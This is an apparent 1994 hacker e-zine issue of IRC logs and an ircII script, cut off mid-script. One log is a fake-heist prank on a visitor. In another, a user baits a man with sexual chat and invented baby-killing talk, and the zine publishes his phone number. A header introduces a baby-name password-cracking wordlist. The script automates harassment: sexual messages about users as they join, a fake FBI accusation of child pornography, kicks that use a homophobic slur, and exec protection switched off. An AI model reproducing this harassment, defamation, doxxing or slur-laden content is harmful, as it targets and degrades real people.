DELiRiUM Issue #1 12/94
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Contents
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[1] Some lamers wander by mistake
[2] Followup
[3] Ursula "Last Gasp" Weber's IRC Log
File List
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acdflx02.tif Airbrush By Acidflux
babyname.dic Popular Baby Names Of 1990 Password Dictionary
phat2v58.irc PHAT/2 v58i Delta IRC Script
delacr11.txt DELiRiUM Acronym List v1.1
mflash .c Mail Flash v1.10 By Cha0s
E-Mail Address - delirium@cyberspace.org
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*** rayc (rayc@slip220.bga.com) has joined channel #delirium
<Bluesman> Hey rayc
[PhoEniX] [*WallOp*] Anyone know this guy?
[-Bluesman-] [*WallOp*] rayc?
<rayc> hi bluesman
<rayc> what's up
[-Narcosis-] [*WallOp*] nope
<Bluesman> rayc: Hey. You on #delirium a lot or something?
[PhoEniX] [*WallOp*] I've got an idea. Let's talk like "hackers" ;>
<rayc> sometime, why?
[-Bluesman-] [*WallOp*] We are +nst
[-Narcosis-] [*WallOp*] heh
<Bluesman> That's cool.
[PhoEniX] [*WallOp*] Oh shit I forgot...
[PhoEniX] Finished WallOp on #delirium
<rayc> where you at?
<Narcosis> So where are we gunna set up the new site?
<Bluesman> acid: Heh.. Yeah. That NASA system was easy to get into. I found 3
documents that were labeled code purple..
<acidflux> Narcosis - well I got a smooth cray account on a pentagon system...
<Narcosis> Blues: yeah, some good shit - how much money ya think we could
bring in from that?
<Narcosis> acid: msg me the nfo please! Sounds cool!
<Bluesman> rayc: We're at home and stuff. What's going on man?
<rayc> are you all on #deliruim?
<acidflux> rayc - yeah... hey do you read the la times?
<Bluesman> Narcosis: Well.. The Black Market guys are assholes these days..
But they usually give out 4000 credits per document
<Narcosis> blues: not bad... was hopin for more like 8000 tho...
<Bluesman> Narcosis: I might just trade it in for the Bank of America password
<rayc> how come it didn't show any of your names?
<Narcosis> nieve human! :)
<Bluesman> Narcosis: Maybe once they read my summaries on the documents
<acidflux> rayc - so you did read the la times article?
<Bluesman> rayc: We hacked it
<rayc> i c
<acidflux> replaced mine with my nick though.
<rayc> any of you know delirium?
<Bluesman> The guy delirium? Oh sure!
<Narcosis> blues: did you get the funds transfered yet?
<Bluesman> He was here.. Said he'd come back
<rayc> when was it?
<Bluesman> Narcosis: I'm not sure if you really want a $10,000 transaction on
a Saturday night do you?
<Bluesman> About 10 minutes ago?
<rayc> hmm.......
<Narcosis> blues: was hoping that you got to it yesterday...
<Bluesman> I forgot. I had to set up all those backdoors last night
<Bluesman> It's only $10,000
<Narcosis> blues: lets be more careful this time tho - we don't wanna make the
LA times again, thats for sure!
<Bluesman> Hehehe..
<acidflux> Yeah Mr. Smut is still pretty pissed.
<Bluesman> Is he really?
<rayc> what are you all talking about?
<Bluesman> So he's a friend of yours?
<Bluesman> rayc: The Bank of America. We just got a transaction account on it
<rayc> damn.......
<rayc> what is the plan?
<acidflux> Yeah he gave me 8 visas and root on a cray...
<Bluesman> Ah well.. Just some boring transacting..
<Bluesman> We're waiting for acid to make a checking account
<Narcosis> blues: how much can we get before being detected do you think?
<acidflux> Access Granted!
<Bluesman> Narcosis: I checked my data sheets, and I believe their pen
register flag is set at $100,000, so maybe $50,000?
<acidflux> Checking Account # 0207-034922
<Narcosis> blues: how long does it take for the pen register to reset, or does
it with their system?
<Bluesman> acidflux: Ok.. Stand by to withdraw and deposit $5000 on my signal
<acidflux> Ready.
<Bluesman> Narcosis: It's instantaneous on this version.. Which is nice
<Bluesman> BRB. transacting..
<Bluesman> Ok.. Should take a few seconds..
<acidflux> rayc - nothing legal... heh heh heh
<Bluesman> Clear.. acid..
<rayc> damn.......
<acidflux> GOT IT!
<rayc> computer crime????
<Bluesman> acid: Ok! I got it here also.. I'm closing and getting the hell
outta that..
<Narcosis> best kind - minimal risk of being traced...
<rayc> well, i've better get going..........good luck you all!!!
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*** Inviting gomez to channel #DELiRiUM
*** gomez (ucsys@crl5.crl.com) has joined channel #DELiRiUM
<acidflux> Hey bro!!
*** Mode change "+o gomez" on channel #DELiRiUM by acidflux
<acidflux> This is the mag's channel... lately it's just been a hangout spot.
<gomez> is it warez oriented?
<acidflux> More hacker-oriented.... the problem with writing about warez is
it's so dated....
<gomez> that's cool.. hacking is becoming so accessable.
<acidflux> Wanna see one of the articles?
<gomez> sure
<acidflux> It's also sort of a humor mag.
<acidflux> Okay, found it!
*** DCC SEND connection to gomez[165.113.1.16,3316] established
*** DCC SEND:/usr3/dustin/delirium.001 to gomez completed 3.741 kb/sec
<acidflux> SHell and check it out!
<gomez> Ok Beb
*** Signoff: gomez (Ping timeout)
*** gomez (ucsys@crl5.crl.com) has joined channel #DELiRiUM
<acidflux> Hey!!
*** Mode change "+o gomez" on channel #DELiRiUM by acidflux
<acidflux> Whaddya think?
<gomez> that look more like a log. sure you sent me the right file?
<acidflux> Yeah, it IS a log!
<gomez> hmm
<gomez> hmmm
<acidflux> ?
<gomez> whats the point?
<acidflux> Did you read the whole thing?
<gomez> well
<gomez> i scanned through it.
<acidflux> Um, nevermind =)
<gomez> let me try again.
<gomez> brb
*** Signoff: gomez (Ping timeout)
*** gomez (ucsys@crl5.crl.com) has joined channel #DELiRiUM
<acidflux> Hey!
<gomez> hmm..
*** Mode change "+o gomez" on channel #DELiRiUM by acidflux
<gomez> this time i read it word for word. i can't make sense of it.
<gomez> are you sure you sent me the right log?
<acidflux> It's a log of some moron wandering in here so we convinced him we
were computer criminals stealing money from Citibank.
<acidflux> Then at the very end he catches on and runs out of the channel.
<gomez> i conviced a moron by changing my name to <sysop> that i was sysop of
Internet thereby getting his passworded.
<acidflux> Say what?
<gomez> i dont get it.
<acidflux> It's not a how-to, it's just an irclog of something interesting
that happened in the channel.
<gomez> it has no entertaining aspects to it.
<gomez> nor is it educational.
<gomez> so that's what your magazine is? a compilation of #delirium log?
<acidflux> No, it's just something I had offhand.....
<gomez> im hungry.
*** Signoff: acidflux (Connection Reset By Peer)
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-PhoenGold:$*.edu- i need conversation with an inteliigent female
/who
*** ursula is ~ursula@coreys.Berkeley.EDU (Ursula Weber)
*** on irc via server w6yx.stanford.edu (From DC to Daylight)
*** ursula has been idle for 5 seconds (0 minute(s))
/whois phoengold
*** PhoenGold is britt@ANDROMEDA.TAMU.EDU (Luuuve for Sale..Love for saaaale)
*** on channels: @#jacuzzi
*** on irc via server omega.tamu.edu (Da' Maroon Lagoon of Aggieland!)
*** PhoenGold is an IRC Operator
<-[phoengold]-> Hey big guy, how's by you?
[PhoenGold:britt@TAMU.EDU] hmm?
<-[phoengold]-> You said you wanted to talk with an intelligent female? I
ain't getting any dumber
[PhoenGold:britt@TAMU.EDU] hehehe...O
<-[phoengold]-> so what do you like? music, drugs, etc?
<-[phoengold]-> are you still there?
-PhoenGold- Pong!
*** CTCP PING reply from PhoenGold: 1 second
[PhoenGold:britt@TAMU.EDU] why ping
<-[phoengold]-> just wanted to see if you were lagged or something
[PhoenGold:britt@TAMU.EDU] probably
<-[phoengold]-> so whatcha interested in? Music, drugs, etc?
[PhoenGold:britt@TAMU.EDU] anything wild
[PhoenGold:britt@TAMU.EDU] i do soem drugs occasionally
<-[phoengold]-> really? like what?
<-[phoengold]-> Acid, E, ketamine...?
[PhoenGold:britt@TAMU.EDU] what are you into
<-[phoengold]-> I drop acid now and then but I really hate it when the monitor
starts breathing
[PhoenGold:britt@TAMU.EDU] hahahaha
<-[phoengold]-> What do you like?
[PhoenGold:britt@TAMU.EDU] X
<-[phoengold]-> That's cool.... what kind of music are you into?
[PhoenGold:britt@TAMU.EDU] NIN..sugarcubes ..classic rock
<-[phoengold]-> Classic Rock? Like Journey?
[PhoenGold:britt@TAMU.EDU] and queen..moody blues..and cream
<-[phoengold]-> You like nine inch nails??
[PhoenGold:britt@TAMU.EDU] only if i can fuq yu like an animal
<-[phoengold]-> Hehehe.... yeah, I bought one of those "Fist Me" T-Shirts at a
concert, great conversation peice.
[PhoenGold:britt@TAMU.EDU] hmm....write down my email address and mail me
<-[phoengold]-> Why, do you have to go??
<-[phoengold]-> This has been so much fun talking, I mean we have so much in
common!
[PhoenGold:britt@TAMU.EDU] cool huh
<-[phoengold]-> Do you have to leave??
[PhoenGold:britt@TAMU.EDU] noe
[PhoenGold:britt@TAMU.EDU] just want you to have it..and mail me
<-[phoengold]-> Oh okay, no problem!
[PhoenGold:britt@TAMU.EDU] ever coem to texas?
[PhoenGold:britt@TAMU.EDU] what ya look like?
<-[phoengold]-> Yes, actually I have a friend in Dallas that I visit every
month or so...
[PhoenGold:britt@TAMU.EDU] coem see me
[PhoenGold:britt@TAMU.EDU] i am in dallas often
[PhoenGold:britt@TAMU.EDU] sis lives thee
[PhoenGold:britt@TAMU.EDU] was there last weekend
<-[phoengold]-> Hey, keen! We'll have to hook up sometime!
[PhoenGold:britt@TAMU.EDU] what ya look lik?
[PhoenGold:britt@TAMU.EDU] blonde?
<-[phoengold]-> =P
[PhoenGold:britt@TAMU.EDU] tan?
<-[phoengold]-> Actually, I dye my hair jet black...
[PhoenGold:britt@TAMU.EDU] awesome!!!!
[PhoenGold:britt@TAMU.EDU] i once dated a girl with blue black hair
[PhoenGold:britt@TAMU.EDU] what was it naturally
/whois phoengold
*** PhoenGold is britt@ANDROMEDA.TAMU.EDU (Luuuve for Sale..Love for saaaale)
*** on channels: #wylde @#jacuzzi
*** on irc via server omega.tamu.edu (Da' Maroon Lagoon of Aggieland!)
*** PhoenGold is an IRC Operator
[PhoenGold:britt@TAMU.EDU] saw counting crows in the bomb factory this summer
<-[phoengold]-> Another woman? I'm almost jealous =)
[PhoenGold:britt@TAMU.EDU] was a long time ago
[PhoenGold:britt@TAMU.EDU] you not gonna tell me what ya look like?
<-[phoengold]-> Well let's see... what would you like to know?
[PhoenGold:britt@TAMU.EDU] well i told you ...
<-[phoengold]-> I mean about personal appearance?
[PhoenGold:britt@TAMU.EDU] i have a 32 inch waist..and an average ..never
really measured it ..size penis
[PhoenGold:britt@TAMU.EDU] can alomost have multiple orgasms
<-[phoengold]-> Well let's see... I'm about 5'6", caucasian (irish/german
actually)... like I said, jet black hair... ummm...
<-[phoengold]-> Your turn... what do you look like?
[PhoenGold:britt@TAMU.EDU] repeat..all i got was 5 6 nd white
[PhoenGold:britt@TAMU.EDU] i told you ..you said i sound cute
<-[phoengold]-> hehehehe...
<-[phoengold]-> Ummm... I wear Docs? What specifically did you want to know?
<-[phoengold]-> Not to sound forceful or anything =)
[PhoenGold:britt@TAMU.EDU] docs?
[PhoenGold:britt@TAMU.EDU] does that mean you are big?
<-[phoengold]-> You know, Doc Martins?
[E/X] The time is now 04:00AM.
[PhoenGold:britt@TAMU.EDU] nope
<-[phoengold]-> The boots?
[PhoenGold:britt@TAMU.EDU] O
[PhoenGold:britt@TAMU.EDU] still donno
[PhoenGold:britt@TAMU.EDU] i want to know...are you cute..are you big ..are
you petite..are you thin ..atheletic..long hair...blonde pubes...
<-[phoengold]-> Ummm.... how about stilettos? I've got a pair of those too...
[PhoenGold:britt@TAMU.EDU] ahhh
[PhoenGold:britt@TAMU.EDU] i know those
[PhoenGold:britt@TAMU.EDU] so you street walk
<-[phoengold]-> Hahahahah... no silly.....
<-[phoengold]-> My hair is about shoulder-length.. yeah, I'm pretty thin. I
look like miss ethiopia... no hehe j/k
[PhoenGold:britt@TAMU.EDU] u r thin?
[PhoenGold:britt@TAMU.EDU] groovy...thin ..black hair..
[PhoenGold:britt@TAMU.EDU] nice breasts?
<-[phoengold]-> Excuse me?
[PhoenGold:britt@TAMU.EDU] do you have nice breasts
<-[phoengold]-> I don't sit around the house with a mirror all day but then
again I've never recieved any complaints =P
[PhoenGold:britt@TAMU.EDU] hahahaha...good one
<-[phoengold]-> So what are you like, eh big guy?
[PhoenGold:britt@TAMU.EDU] i am yur every fantasy
[PhoenGold:britt@TAMU.EDU] i am funny as shit
[PhoenGold:britt@TAMU.EDU] a real camelian
<-[phoengold]-> Fantasy eh? You'll paint my house? =P
[PhoenGold:britt@TAMU.EDU] if that is what you want
[PhoenGold:britt@TAMU.EDU] I am into pleasing my women
[PhoenGold:britt@TAMU.EDU] making them happy ..whatever it takes
[PhoenGold:britt@TAMU.EDU] as lon as i am not taken for granted
<-[phoengold]-> Hey, sounds groovy.... you know there is this one thing I'm
into that maybe you could help me with... I'm really
uncomfortable about talking about it with most guys...
[PhoenGold:britt@TAMU.EDU] what?
<-[phoengold]-> But you seem like the really understanding sort....
[PhoenGold:britt@TAMU.EDU] that i am
<-[phoengold]-> Well, I like to suffocate babies with plastic wrap...
especially that chortle they make at the end.. what is that, a
death rattle?
[PhoenGold:britt@TAMU.EDU] and just how many of the kids have you killed
[PhoenGold:britt@TAMU.EDU] and may i have your name address and phone number
<-[phoengold]-> Oh, that's only a number... but I'm having trouble keeping a
low profile. I was thinking maybe the next time I'm in Dallas
YOU could get the babysitting job, and then I could stop by
later that night...
[PhoenGold:britt@TAMU.EDU] ur kinda demented...just gimme yer address ..and
wait there..someone will be along shortly to help you
<-[phoengold]-> Excuse me??
[PhoenGold:britt@TAMU.EDU] what?
<-[phoengold]-> See, I told you you wouldn't understand :~(
<-[phoengold]-> You'd really enjoy it though, especially when they start to
turn this shade of purple....
[PhoenGold:britt@TAMU.EDU] sick
[PhoenGold:britt@TAMU.EDU] really sick...
<-[phoengold]-> Hey, don't knock it until you've tried it.
[PhoenGold:britt@TAMU.EDU] i would rather aficiate you and let it heighten
your arrousal while i plunge deeper into your pussy
[PhoenGold:britt@TAMU.EDU] and only let you breath after you cum
[PhoenGold:britt@TAMU.EDU] and you started out so cool
[PhoenGold:britt@TAMU.EDU] damn the luck
<-[phoengold]-> You no longer find my hobbies interesting? =(
[PhoenGold:britt@TAMU.EDU] not that one
[PhoenGold:britt@TAMU.EDU] why must all good things turn to shit?
<-[phoengold]-> You calling me shit?
[PhoenGold:britt@TAMU.EDU] no ..i am calling suffcating babies shit!
<-[phoengold]-> Why is suffering babies wrong?
[PhoenGold:britt@TAMU.EDU] nevermind..
<-[phoengold]-> They are obscenely pure, don't you see?!
[PhoenGold:britt@TAMU.EDU] i like young ones to lic my cock
[PhoenGold:britt@TAMU.EDU] I like anything to lick my cock
[PhoenGold:britt@TAMU.EDU] so how many babies have you suffocated?
<-[phoengold]-> They are obscenley pure and must suffer therefore.
[PhoenGold:britt@TAMU.EDU] hwy not corrupt them
[PhoenGold:britt@TAMU.EDU] use them..
[PhoenGold:britt@TAMU.EDU] suffocation is no fun
<-[phoengold]-> Oh? Do you have something better in mind? =I
<-[phoengold]-> You just get the babysitting job, I'll suffocate them, and
then you can do whatever you like, deal?
[PhoenGold:britt@TAMU.EDU] we can talk about it in bed ..in dallas ...after
you fuq me raw
[PhoenGold:britt@TAMU.EDU] i don't wanna play with a dead babie
<-[phoengold]-> Why's that?
[PhoenGold:britt@TAMU.EDU] don't liek it
<-[phoengold]-> I thought you said tormenting babies was wrong? You're quite
the trickster, you are =)
[PhoenGold:britt@TAMU.EDU] yeup
[PhoenGold:britt@TAMU.EDU] wanna call me so we can talk abut this further
[PhoenGold:britt@TAMU.EDU] about
<-[phoengold]-> Sure! What's your number??
[PhoenGold:britt@TAMU.EDU] (409)846-8459
<-[phoengold]-> Okay, great! I'll do my famous dying baby impression over the
phone.
[PhoenGold:britt@TAMU.EDU] cool...when ya gonna call?
<-[phoengold]-> How late will you be up?
<-[phoengold]-> Wait wait wait, I've got the BEST idea!
[PhoenGold:britt@TAMU.EDU] oh ..i will be at the house at about ..7 till 12
[PhoenGold:britt@TAMU.EDU] i am in my lab now
<-[phoengold]-> The neighbors just brought home a new one... it's about 2
weeks old... and I found a key under the doormat... how about
I get a tape recording for you and call you in an hour?
[PhoenGold:britt@TAMU.EDU] sure
<-[phoengold]-> Wait, is that your home #?
[PhoenGold:britt@TAMU.EDU] yes
<-[phoengold]-> Okay, great! Talk to you in an hour big guy!
[PhoenGold:britt@TAMU.EDU] ok
<-[phoengold]-> It was great chatting with you!! See ya!
<-[phoengold]-> Oh, but the best is yet to come... }:) Bye!
*** Signoff: ursula (...)
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# Most Popular Baby Names Of 1990 Password Dictionary
# By Apotheosis [acidflux on IRC]
# Includes common mispellings and contortions
# 570 Passwords
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PHAT2V58.IRC
# PHAT/2 v58i Delta IRC Script
# (c)1994 Apotheosis [acidflux on IRC]
# Greets go out to my homies (you know who you are).
echo *** PHAT/2 v58i Delta by Acidflux
echo *** Hit /Phathelp for instructions
echo *** Hit /Phatnews for new features
^set EXEC_PROTECTION OFF
^set NOVICE OFF
^set DCC_BLOCK_SIZE 1024
^assign BeavisTalker Off.
^assign setaway :) C=m=3
^assign signmsg I'm outta, heeeeeeeeeere
^assign mkicknum 5
^assign topicnum 5
alias Phathelp {
^set HOLD_MODE ON
^echo *** PHAT/2 v58i Delta
^echo *** (c) 1994 Acidflux
^echo
^echo - Popular Stuff -
^echo
^echo [*] Join Talker Instructions
^echo Type /jointalk#, where # = a number between 1 and 22
^echo Type /jointalk0 to deactivate
^echo [*] BeavisTalker
^echo Type /BTalker ON, OFF or STATUS
^echo [*] Join Faker
^echo Type /faker#, where # = a number between 1 and 4
^echo
^echo - Kicks -
^echo
^echo [*] PhatKicks Instructions
^echo Type /phatkick# nick, where # = a number between 1 and 7
^echo [*] MiscKicks
^echo Type /mk nick
^echo
^echo - Miscellanea -
^echo
^echo [*] Call Waiting
^echo Type /PutOnHold nick to put nick on hold.
^echo [*] PhatOp
^echo Type /PhatOp nick
^echo [*] Jesus Status
^echo Notifies you when Jesus has returned
^echo Type /JesusStat#, where # = a number between 1 and 3
^echo [*] Satan Status
^echo Type /SatanStat to find out if Lucifer is online
^echo [*] Joke Banner
^echo Type /jokebanner or /unjokebanner
^echo [*] Misc Sayings
^echo PornTheme, DipBalls, DipBalls2, nosir, alrighty,
^echo Cheeze, Preppy, Buttah, SheSaid, y0!
^echo [*] BirdFlipper
^echo Type /SOT X, where X = a nick or channel
^echo Or /SOT2 for a more compact version
^echo [*] Webster's Online Dictionary Faker
^echo Type /Webster# nick, where # = a number between 1 and 5
^echo [*] User Examiner
^echo Type /look to get a personal description of someone
^echo Type /ExaminerHelp for more info
^echo [*] QuickJoke
^echo Type /quickjoke nick to tell a quick joke about someone.
^echo [*] ReqMail
^echo Type /ReqMail nick to see someone's anonymous or preferred
^echo mailing address. Type /ReqMailHelp for more info.
^echo [*] Lameness Detector
^echo Type /lamedetect nick (make sure they're on IRC!)
^echo [*] Topic Generator
^echo Type /topicgen to change the channel's topic to a
^echo needlessly cryptic phrase
^echo
^set HOLD_MODE OFF
}
alias ExaminerHelp {
^set HOLD_MODE ON
^echo =Examiner Help=
^echo
^echo User Examiner is a new feature that lets you get a
^echo personal description of someone. Remember those old infocom
^echo text adventures where you'd type "examine troll" and you'd
^echo get a description? Same concept, different media. Original
^echo eh?
^echo
^echo For someone to get a description of YOU, just edit a
^echo file in your home directory called ".ircdesc" and type in
^echo the description you'd like people to see.
^echo
^echo Example:
^echo
^echo Joe Preppy is a white male wearing a NoPhear T-Shirt and pre-torn
^echo jeans.
^echo
^echo Hair - Color/Brown : Length/Short : Style/Curly
^echo Eyes - Green
^echo Mailing Address: vanderhoff@anon.penet.fi
^echo
^echo This is a brief example but I'm sure you get the idea as to the
^echo kind of stuff you can put there.
^echo To get a description of someone else, just type /look JoePreppy,
^echo and you'll recieve a description via notice. Since it's via notice
^echo You won't be flooded off, however if you're running a script
^echo with flood protection you might want to turn flood detection
^echo off temporarily.
^echo
^echo Have fun!
^echo
^set HOLD_MODE OFF
}
alias ReqMailHelp {
^set HOLD_MODE ON
^echo =ReqMail=
^echo
^echo Displays other people's anonymous or preffered E-Mail address, and
^echo vice versa.
^echo
^echo To see other people's preset anonymous mail addresses type:
^echo /ReqMail Nick
^echo
^echo To set up ReqMail so other people can see your
^echo anonymous mailing address, just declare it in your
^echo .ircrc file.
^echo
^echo Example:
^echo assign PHAT_EMAIL an119112@anon.penet.fi
^echo
^set HOLD_MODE OFF
}
alias ReqAffilsHelp {
^set HOLD_MODE ON
^echo =ReqAffils=
^echo
^echo Displays your affiliations with ansi and demo groups
^echo (Yeah, right) or even companys.
^echo
^echo To see other people's affiliations type:
^echo /ReqAffils Nick
^echo
^echo To set up ReqAffils so other people can see your
^echo affiliations, just declare it in your .ircrc file.
^echo
^echo Examples:
^echo assign PHAT_AFFILS [DELiRiUM/DiE]
^echo assign PHAT_AFFILS The Wired NetSurf Team
^echo assign PHAT_AFFILS NONE
^echo
^echo Etc, etc, etc. You get the picture.
^echo
^set HOLD_MODE OFF
}
alias Phatnews {
^set HOLD_MODE ON
^echo
^echo *** PHAT/2 v58i Broken
^echo *** (c) 1994 Acidflux
^echo *** New Features List
^echo
^echo Since v54i Early Beta:
^echo
^echo [1] The jointalks were resorted.
^echo [2] 3 new jointalks (18-20)
^echo [2] LOTS of bigfixes and and renovations.
^echo [3] Removed NotSoPhatkicks & most of the joinfakers
^echo [4] ReqMail - hit /ReqMailHelp for more info.
^echo [5] ReqAffils - Type /ReqAffilsHelp for more info.
^echo [6] Yo Momma Kicks removed. Get your own damn snaps!
^echo [7] "PornoMusic" Macro abbreviated to "PornTheme"
^echo [8] BeavisTalker now much more "professional".
^echo Type /BTalker ON, OFF or STATUS.
^echo [9] And a pantload of other stuff.....
^echo
^echo Since 57i Delta:
^echo
^echo [1] Framers removed. They got annoying.
^echo [2] Bugfixes.
^echo [3] 2 New JoinTalks (21-22)
^echo [4] BeavisTalker Updates
^echo [5] Lameness Detector
^echo Type /lamedetect nick (make sure they're on IRC!)
^echo [6] Topic Generator
^echo Type /topicgen to change the channel's topic to a
^echo needlessly cryptic phrase
^echo
^set HOLD_MODE OFF
}
alias JOINTALK0 on join -"*"
alias JOINTALK1 on join "*" {send Well needless to say, my dog didn't get pregnant so I went down to $0's house with a snubnose demanding my quarter back and OH HI $0!}
alias JOINTALK2 on join "*" {send So I open the door and $0 is sitting in his bedroom naked with 5 stuffed animals, and oh hi $0! }
alias JOINTALK3 on join "*" {send So I'm at this party right? Well, Bill got the playboy channel unscrambled, but a when a naked man came on the screen $0 went ballistic and ran out of the house screaming, and OH, hey $0!}
alias JOINTALK4 on join "*" {send *$0* I'm 4'2"! So there!}
alias JOINTALK5 on join "*" {send *$0* H3Y D00D CaN U SLiP M3 A \<-K00L SiT3??? 3y3 START3D THiS /<-RAD GNU GR0UP CALL3D PWGNP, PiRAT3S WH0 G3T N0 PUSSY, WANNA J0iN?}
alias JOINTALK6 on join "*" {send So I walk into the office and $0 is standing there in leather thigh-boots dry raping the janitor in the anus and he errr HI $0!}
alias JOINTALK7 on join "*" {send So then the police tell $0, "Who the hell told you this was a nude beach?!" and then... oh hi $0!}
alias JOINTALK8 on join "*" {send *$0* Pave my hershey highway with the cement of love from your massive one-eyed trouser snake}
alias JOINTALK9 on join "*" {send *$0* I want to lick the man mustard off your pulsating corndog of pleasure}
alias JOINTALK10 on join "*" {send *$0* S0 TH3N EYE HACK3D IN-2 BURG3R KiNG AND CHANG3D TH3 PRiC3Z 0N THE HAPP-E M3ALZ 2 0NLY A QUART3R! iT WuZ 3L33T.}
alias JOINTALK11 on join "*" {send I'm Michael Stevens of the Federal Bureau Of Investigation. We're looking for "$0" in connection to 7 child pornography FTP sites. If anyone sees him please contact me. There's a considerable reward.}
alias JOINTALK12 on join "*" {send Hey $0! Tell us about your new job as janitor at that adult theatre!}
alias JOINTALK13 on join "*" {send *$0* I likes 'em BIG.}
alias JOINTALK14 on join "*" {send *$0* Hey girlfriend, there's a blue light special in my poop chute department!}
alias JOINTALK15 on join "*" {send *$0* Hey, wanna talk voice? Call me up at 1-900-976-BLOW, I'll waive the charges.}
alias JOINTALK16 on join "*" {send *$0* Yeah, I just don't get it. When I went in for surgery on my penis they only charged me half price. I wonder why?}
alias JOINTALK17 on join "*" {send *$0* Get this man, I just got a promotion down at Hersheys.. I'm an executive fudge packer!}
alias JOINTALK21 on join "*" {send *$0* If it's mostly made of sugar why does it taste so salty?}
alias JOINTALK22 on join "*" {send *$0* I'm bleeding and I don't know why!}
alias JOINTALK18 on join "*" {
send ** PACKS OFFERED. /MSG $N XDCC SEND #N for autosend pack #N
send #1 [GIF] $0's family reunion (XXX) (800x600x256)
send Frank - yeah man, it's 800x600 because I had to blow it up so you could see his.... oh hi $0!!
}
alias JOINTALK19 on join "*" {
send ** PACKS OFFERED. /MSG $N XDCC SEND #N for autosend pack #N
send #1 [GIF] $0's family reunion
send Dan - no no no, that's him in the mini-skirt....
}
alias JOINTALK20 on join "*" {
send *** Channel Users Topic
send *** #netsex 1
send *** Users on #netsex: $0
send What the hell is he doing in there?! Oh, HEY $0!
}
# Misckick Declarations... er, declerations? Fuck it....
alias mk {
#@seed = [$srand($time())]
@mktmp = [$rand($mkicknum)]
^assign misckick $(mk$mktmp)
kick * $0 $misckick
}
@mk1=[Tranquility only lies in the shade of the safe]
@mk2=[Eenie Meenie Miney Moe, suck my dick and swallow slow]
@mk3=[Silly faggot! Dicks are for chicks!]
@mk4=[You fuck with the best, you die like the rest]
@mk5=[(((Dolby Surround Sound)))]
# Topic Generator
alias topicgen {
#@seed = [$srand($time())]
@toptmp = [$rand($topicnum)]
^assign topic $(top$toptmp)
topic $C $topic
}
@top1=[Dontcha just hate it when you panic and kill a hooker?]
@top2=[Why did CNN cancel that cool "Desert Storm" show?]
@top3=[WWhhaatt ddooeess dduupplleexx mmeeaann??]
@top4=[Shareware author dies: .GIF at eleven!]
@top5=[The slave thinks he is released from bondage only to find a stronger set of chains]
alias phatop {
send $0 is woken up from his nap on the front porch w/ a phone call..
send "Hey man, let's kick some lamers!"
send $0 replies, "How are we gonna kick any lamers??? We don't have no OPS!!"
me , the magic man, comes out in a liesure suit and waves his cane and woo woo woo woo woo, $0 has a shiny new plus oh!
mode * +o $0
}
# All respects to Billy Idol! Don't trip bro, just a joke =)
alias faker1 {
me (idol@well.sf.ca.us) has joined channel $C
msg $C DANCING WITH MYSELF, OH OH
}
alias faker2 {
me (cstoll@cva.harvard.edu) has joined channel $C
msg $C FREEZE!
}
alias faker3 {
me (cornholio@highland.edu) has joined channel $C
send I AM THE GREAT CORNHOLIO! I NEED TEEPEE FOR MY BUNGHOLE!
}
alias faker4 {
me (louie@state.mtv.com) has joined channel $C
send I WANNA DIP MY BAWLLLLLLLS IN IT!
}
alias porntheme notice $C BOOMP CHICKA BOOMP BOWWWW!!
alias dipballs send I WANNA DIP MY BALLS IN IT!
alias dipballs2 send I WANNA DIP MY BALLLLLLS IN IT!
alias cheeze send Cheeze wizorama, that's neat!
alias mcman send Heh heh heh. You are correct, sir!
alias nosir send No sir, I don't like it.
alias barney send Sooper De Dooper!
alias preppy send Ho ho ho, VERY funny Muffy!
alias buttah send Like BUTTAH! Like a big stick of buttah!
alias shesaid send That's what she said!
alias y0! send y0y0y0y0y0y0y0!!1!!11!
alias alrighty send Alllllllllllllllrighty then!
alias jesusstat1 send [PHAT/2] [Jesus Status] Jesus Is Not Currently On Earth
alias jesusstat2 {
send [PHAT/2] [Jesus Status] JESUS HAS RETURNED!!
timer 4 send [PHAT/2] [Jesus Status] False Alarm. Please disregard the previous message.
}
alias jesusstat3 send [PHAT/2] [Jesus Status] Jesus Has Been Idle For 1,994 Years.
alias satanstat send [PHAT/2] [Satan Status] The prince of darkness is not currently online.
alias jokebanner {
mode * +bbb beavis@mtv.com idol@well.sf.ca.us ronald@mcdonalds.com
}
alias unjokebanner {
mode * -bbb beavis@mtv.com idol@well.sf.ca.us ronald@mcdonalds.com
}
alias phatkick1 {
me waves an ancient druid sceptre over $0
me chants "KLATU! BARATTA! NIKTU!"
me waits as nothing happens
me says "Fuck this" and busts the sceptre up $0's ass
kick * $0 That's GOTTA hurt!
}
alias phatkick2 {
me follows $0 to a party one night....
me waits until $0 goes inside and then breaks into his car....
me exchanges $0's MegaDeth CD with the new Enigma CD
send Later that night, $0 decides to crank some tunes on his drive home...
send $0 falls asleep at the wheel and plows into an Exxon Truck....
kick * $0 BOOM!
}
alias phatkick3 {
me kicks $0 through a time warp....
send $0 lands at the Jim Jones incident....
send Jim Jones says "Hey $0! How about some PurpleSaurus Rex Kool Aid?"
send $0 thinks, "sure, why not?"
send $0 chugs a pitcher and says "damn, why is this stuff so good?"
send Jim Jones says, "Well $0, it's either the nutrasweet or the cynanide!"
kick * $0 DOH!
}
alias phatkick4 {
me shows $0 a broomstick and some vasseline.....
send Suddenly some cheap 70's porno film music comes on [BOOMP-CHICKA-BOOMP-BOWWWWW!]
send $0 decides he'd prefer not to take chances and runs like fuck....
kick * $0 And don't let the door hit ya on the way out!
}
alias phatkick5 {
send Hey $0! Let's go bungee jumping!
send <$0> Okay! Sounds like fun!
me straps $0's feet in right before he makes a jump off the bridge...
send $0 is so heavy the cord breaks and he goes straight to hell...
kick * $0 Say hi to Beezlebub for me!
}
alias phatkick6 {
me gives $0 one of those natural-fiber hemp t-shirts
send $0 runs out of chronics and starts smoking his t-shirt
send The fire spreads and $0's entire body catches on fire...
kick * $0 Excuse me sir, but this is a non-smoking channel
}
alias phatkick7 {
me watches as the sun sets and a full moon rises...
me watches as $0 starts transforming... not into a warewolf, but.. even worse!
send <$0> Ho ho ho, VERY funny! Now is anyone up for a round of GOLF?
send A PREPPY!!!
kick * $0 ((Dolby Surround Sound))
}
alias sot {
msg $0 n /
msg $0 H o o
msg $0 nnHnn ( Sit on this and rotate!
msg $0 VVVVV ___/
}
alias sot2 {
msg $0 n
msg $0 H
msg $0 nnHnn
msg $0 VVVVV
}
alias BTalker {
if (match($0 ON OFF STATUS))
{
BTR$0
}
{
^echo [PHAT/2] Type /BTalker ON, OFF or STATUS.
}
}
alias BTRStatus ^eval ^echo [PHAT/2] BeavisTalker is currently $BEAVISTALKER
alias BTROn {
^on public "* come *" {send Ehehehehehehe. $0 said "come".}
^on public "* load *" {send Ehehehehe m hehe. $0 said "load".}
